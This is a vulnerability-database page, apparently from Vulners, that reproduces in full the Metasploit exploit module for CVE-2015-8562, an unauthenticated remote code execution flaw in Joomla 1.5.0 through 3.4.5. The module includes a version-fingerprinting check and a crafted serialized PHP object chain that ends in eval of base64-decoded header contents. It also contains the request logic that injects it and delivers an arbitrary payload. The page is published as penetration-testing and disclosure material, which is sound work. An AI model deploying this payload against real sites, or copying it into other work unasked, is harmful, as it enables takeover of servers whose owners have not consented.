Lucene search
K

Joomla HTTP Header Unauthenticated Remote Code Execution

🗓️ 15 Dec 2015 17:26:21Reported by Marc-Alexandre Montpas, Christian Mehlmauer <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 225 Views

Joomla unauthenticated remote code execution from HTTP headers, affects versions 1.5.0 to 3.4.5, allows for input truncation and custom payload execution, PHP version before 5.4.45 required

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Joomla

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
      'Description'    => %q{
          Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
          By storing user supplied headers in the databases session table it's possible to truncate the input
          by sending an UTF-8 character. The custom created payload is then executed once the session is read
          from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
          In later versions the deserialisation of invalid session data stops on the first error and the
          exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
          5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
      },
      'Author'	=>
        [
          'Marc-Alexandre Montpas', # discovery
          'Christian Mehlmauer' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-8562'],
          ['EDB', '38977'], # PoC from Gary
          ['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent"
          ['URL', 'http://web.archive.org/web/20250117165939/https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
          ['URL', 'http://web.archive.org/web/20250220041731/https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
          ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
          ['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
          ['URL', 'https://bugs.php.net/bug.php?id=70219']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Joomla 1.5.0 - 3.4.5', {}]],
      'DisclosureDate' => '2015-12-14',
      'DefaultTarget'  => 0)
    )

    register_options(
      [
        OptEnum.new('HEADER', [ true,  'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
      ])

    register_advanced_options(
      [
        OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
      ])
  end

  def check
    res = send_request_cgi({'uri' => target_uri.path })

    unless res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    unless res.headers['X-Powered-By']
      vprint_error("Unable to determine the PHP version.")
      return Exploit::CheckCode::Unknown
    end

    online = joomla_and_online?
    unless online
      vprint_error("Unable to detect joomla on #{target_uri.path}")
      return Exploit::CheckCode::Safe
    end

    php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
    version = Rex::Version.new(php_version)
    vulnerable = false

    # check for ubuntu and debian specific versions. Was fixed in
    # * 5.5.9+dfsg-1ubuntu4.13
    # * 5.3.10-1ubuntu3.20
    # * 5.4.45-0+deb7u1
    # Changelogs (search for CVE-2015-6835 or #70219):
    #   http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
    #   http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
    #   http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
    if rest && rest.include?('ubuntu')
      sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
      vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")

      if version > Rex::Version.new('5.5.9')
        vulnerable = false
      elsif version == Rex::Version.new('5.5.9') && Rex::Version.new(sub_version) >= Rex::Version.new('4.13')
        vulnerable = false
      elsif version == Rex::Version.new('5.3.10') && Rex::Version.new(sub_version) >= Rex::Version.new('3.20')
        vulnerable = false
      else
        vulnerable = true
      end
    elsif rest && rest.include?('+deb')
      sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
      vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")

      if version > Rex::Version.new('5.4.45')
        vulnerable = false
      elsif version == Rex::Version.new('5.4.45') && sub_version != '7u1'
        vulnerable = false
      else
        vulnerable = true
      end
    else
      vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
      vulnerable = true if version <= Rex::Version.new('5.4.44')
      vulnerable = true if version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.28'))
      vulnerable = true if version.between?(Rex::Version.new('5.6.0'), Rex::Version.new('5.6.12'))
    end

    unless vulnerable
      vprint_error('This module currently does not work against this PHP version')
      return Exploit::CheckCode::Safe
    end

    j_version = joomla_version
    unless j_version.nil?
      vprint_status("Detected Joomla version #{j_version}")
      return Exploit::CheckCode::Appears if Rex::Version.new(j_version) < Rex::Version.new('3.4.6')
    end

    return Exploit::CheckCode::Detected if online

    Exploit::CheckCode::Safe
  end

  def get_payload(header_name)
    pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
    pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
    pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
    post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
    return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{Rex::Text::rand_4byte_utf8}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    if check == Exploit::CheckCode::Safe && !datastore['FORCE']
      print_error('Target seems safe, so we will not continue.')
      return
    end

    print_status("Sending payload ...")
    header_name = Rex::Text.rand_text_alpha_upper(5)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => target_uri.path,
      'headers' => { datastore['HEADER'] => get_payload(header_name) }
    })
    fail_with(Failure::Unknown, 'No response') if res.nil?
    session_cookie = res.get_cookies
    send_request_cgi({
      'method'  => 'GET',
      'uri'     => target_uri.path,
      'cookie'  => session_cookie,
      'headers' => {
        header_name => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 10:30Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 39.8
EPSS0.92855
225